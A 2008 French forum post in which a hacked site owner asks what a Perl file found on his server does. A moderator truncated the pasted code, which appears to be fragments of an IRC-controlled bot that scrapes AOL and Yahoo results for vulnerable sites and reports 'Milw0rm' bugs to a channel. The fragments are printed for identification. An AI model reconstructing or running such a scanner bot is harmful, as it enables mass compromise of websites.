Script de Hackage trouvé sur mon site, Qu'est ce ?
Posté : 13 juin 2008, 13:27
Bonjour,
Après que mon hebergeur m'ai informé qu'on venait de me pirater, j'ai retrouvé plusieurs fichiers dans mon serveur FTP, dont celui ci, j'aimerais savoir ce qu'il fait...
Merci beaucoup !
Samuel
Modération :
Code partiellement tronqué pour éviter sa réutilisation malveillante
Après que mon hebergeur m'ai informé qu'on venait de me pirater, j'ai retrouvé plusieurs fichiers dans mon serveur FTP, dont celui ci, j'aimerais savoir ce qu'il fait...
Code : Tout sélectionner
#!/usr/bin/perl
#debu99 Is Here!
stampa($sk, "PRIVMSG $canale :15(7@2Milw0rm15)(12Bugs $bug[$x] - $ltt[$x]15)");
sleep 1;
}}
my ($type,$space);
my %hosts;
stampa($sk, "PRIVMSG $canale :15(7@2Scan15)(2$dork15)(2$bug15)");
t->new(GET=>$test);
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1")
}}}
sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
ee;
return $str;
}
my @lst;
my $key = $_[0];
for($b=1;$b<=100;$b++){
my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
my $Res=query(
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
return @lst;
}
sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
close($sock);
};
return $page;
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}
Samuel
Modération :
Code partiellement tronqué pour éviter sa réutilisation malveillante